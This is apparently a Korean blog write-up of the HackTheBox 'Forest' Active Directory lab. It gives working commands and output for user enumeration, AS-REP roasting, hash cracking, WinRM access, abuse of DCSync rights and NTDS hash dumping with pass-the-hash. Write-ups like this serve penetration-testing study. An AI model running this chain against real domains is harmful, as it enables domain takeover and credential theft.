Challenge Information
Enumeration & Attack Planning
Network
┌──(root㉿kali)-[~/Desktop/htb/Forest]
└─# nmap -sV 10.10.10.161
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-02 00:26 EDT
Nmap scan report for 10.10.10.161
Host is up (0.22s latency).
Not shown: 989 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-11-02 04:33:26Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
domain, kerberos, ldap 포트가 열려 있는 것을 보니 domain controller 같다.
domain은 htb.local
이다.
smb
smb가 열려 있기 때문에 먼저 smb banner grabbing과 null & anonymous access 가능 여부를 확인해봤다.
그 결과 Windows Server 2016이라는 것을 확인할 수 있고 null session은 가능하지만 guest session은 불가하다는 것을 알 수 있었다.
null session으로 smb 공유 목록은 얻을 수 없었다.
💡 `crackmapexec smb [ip] -u '' -p '' —shares` 를 사용해도 된다.
rpc
rpcdump를 통해 노출된 rpc service들을 확인해봤다.
SAMR 서비스가 노출된 것을 확인하여 rpcclient로 domain user를 enumeration 할 수 있는지 확인해봤다.
┌──(root㉿kali)-[~/Desktop/htb/Forest]
└─# rpcclient -U "" -N 10.10.10.161
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[svc-alfresco] rid:[0x47b]
이렇게 얻은 유저 목록은 Kerberos AS-REP이나 Roasting 공격에 활용할 수 있다.
💡 `crackmapexec smb [ip] -u '' -p '' --users` 를 사용하면 간편하다.
ldap
ldapsearch로 null binding을 요청해보니 성공했다.
ldap 요청이 가능해진다면 domain에 존재하는 object들의 정보들을 쿼리할 수 있으므로 공격에 매우 용이해진다.
예를들면 Do not require Kerberos Preauthentication
설정이 활성화된 유저들만 쿼리해 AS-REP Roasting을 진행할 수 있고 SPN Attribute가 존재하는 서비스 유저를 상대로 Kerberoasting을 할 수도 있다.
💡 crackmapexec도 ldap 상호작용을 제공해주는데, 툴 자체의 문제인지 항상 오류가 떠서 나는 ldap 기능은 사용하지 않는다.
Vulnerability
┌──(root㉿kali)-[~/Desktop/htb/Forest]
└─# impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -request
Impacket v0.11.0 - Copyright 2023 Fortra
Name MemberOf PasswordLastSet LastLogon UAC
------------ ------------------------------------------------------ -------------------------- -------------------------- --------
svc-alfresco CN=Service Accounts,OU=Security Groups,DC=htb,DC=local 2024-06-14 00:30:27.705356 2024-06-14 00:30:14.377199 0x410200
$krb5asrep$23$svc-alfresco@HTB.LOCAL:97c5749f54f2d771764a7f7845450b50$8fc0df2785f9917a2a5c4d30ff3b72a64507111d589cebd1d6f9bf44c43b2668c93bb6f7c5b40b83e9fb69981ca4c956c5898a194520a3d80c9d8147326c27809dccdbafaab0867b1154ca6d1b8f0715e356a9c9f14b0c581600124c3e133f49854ad88e51bd7117b56a8333e874916bfb2e9e73fddc41e086b757039f3197176a390e536066b2a03e3e483b23e9892fd28d2737016ecef0d687b4b2e6797922a6e814ea2ca40ed91a5b5a13793f7e9ec99be1052e9731c112985ee8c8a2e9400758b27d635c3c6eeafd8e73d249dae198f4ff7deb33178338b0bebcad1bbde2cf8864acf40b
ldap 접근이 가능하므로 impacket GetNPUsers를 돌려 AS-REP Roasting에 취약한 유저를 찾아내고 -request
옵션을 통해 TGT를 뽑아냈다.
┌──(root㉿kali)-[~/Desktop/htb/Forest]
└─# hashcat -a 0 -m 18200 ./svc_tgt /usr/share/wordlists/rockyou.txt
<SNIP>
$krb5asrep$23$svc-alfresco@HTB.LOCAL:ad4b25447a8b720a2a7b6196e08b21eb$a33b99fae045340dd6b87539a74561fc45742c00e8b1494274ac05545aaf4bd35d4d44c6099dc42a52c809ae95698890cf94e03379b1d4c196447f3e21df58e6772620f911e0b9c4e5cd4052652281f2b506ca43461a2c5d3b20b0c46c0b9dee0646eb851842c657b7b33bd7ed825d04c10505ab83ad5f97406a9e8b6373790a4db7f34ae6cf31519098f137c194de038cd7838043d5080a201971172d33c1b8458d39a70065837e07b848442e405fa642d96e60226f632ed4ccda9ebcbbf6d7c081220f8e9539aef7fd21fb5aa7e3aab36544970ec044f6147290b4852db0969b148f8a6c63:s3rvice
rockyou로 crack에 성공했다.
svc-alfresco:s3rvice
💡 이 경우 ldap 접근이 가능하기 때문에 GetNPUsers가 내부적으로 ldap 쿼리를 날려 취약한 유저를 자동으로 찾아낸 후 AS REQ를 날린거지만, ldap 접근이 안되는 경우 userlist를 인자로 줘서 brute forcing 해야 한다.
Exploit (Initial Access)
crackmapexec로 winrm 접속이 가능하다는 사실 확인 후, winrm으로 접속해 user flag를 얻었다.
Post-Exploit
Surveying
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> upload SharpHound110.exe
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> .\SharpHound110.exe
<SNIP>
권한, 그룹, 서비스 등의 lpe vector를 체크했지만 그럴듯한게 보이지 않아 SharpHound를 업로드 후 돌려봤다.
BloodHound가 제대로 표시를 해주지 않아서 수동으로 찾았다.
보면 svc-alfresco는 Account Operators 그룹의 멤버고, 이 그룹은 Exchange Windows Permissions 그룹에 대한 GenericAll 권한이 있다.
마지막으로 Exchange Windows Permissions 그룹은 도메인에 대한 WriteDacl 권한을 갖는다.
그렇다면 다음과 같은 시나리오를 세울 수 있다.
- Account Operators의 GenericAll Dacl을 이용해 Exchange Windows Permissions 그룹에 사용자를 추가한다.
- 추가한 사용자로 HTB.LOCAL 도메인에 대한 DCSync Dacl을 임의 사용자에 추가한다.
- DCSync가 추가된 임의 사용자로 NTDS.dit을 추출한다.
DCSync 참고 : https://dypar-study.tistory.com/190
Privilege Escalation
add user in Group “Exchange Windows Permission”
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user /add sasa P@ssw0rd /domain
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net groups "Exchange Windows Permissions" /add sasa
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net users sasa /domain
User name sasa
<SNIP>
Logon hours allowed All
Local Group Memberships
Global Group memberships ***Exchange Windows Perm***Domain Users
The command completed successfully.
sasa 유저를 하나 생성해서 Exchange Windows Permissions 그룹에 추가했다.
write DCSync Dacl to Domain
python3 dacledit.py -action write -rights DCSync -target-sid "S-1-5-21-3072663084-364016917-1341370565" -principal sasa htb.local/sasa:P@ssw0rd
bloodhound에 나와있는 abuse 방법에 오류가 있어 위와 같이 수정해서 사용했다.
┌──(root㉿kali)-[~/Desktop/htb/Forest]
└─# impacket-secretsdump htb.local/sasa:P@ssw0rd@10.10.10.161
Impacket v0.11.0 - Copyright 2023 Fortra
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
<SNIP>
DCSync를 준 후 secretdump를 돌리면 ntds를 추출할 수 있다.
추출한 Administrator의 NT Hash로 Pass The Hash를 하면 Administrator로 권한 상승을 할 수 있다.
'Wargame > HackTheBox' 카테고리의 다른 글
[AD] Support (0) | 2024.10.07 |
---|---|
[Windows] Access (0) | 2024.08.06 |
[AD] Sauna (2) | 2024.07.16 |
[AD] Active (0) | 2024.07.02 |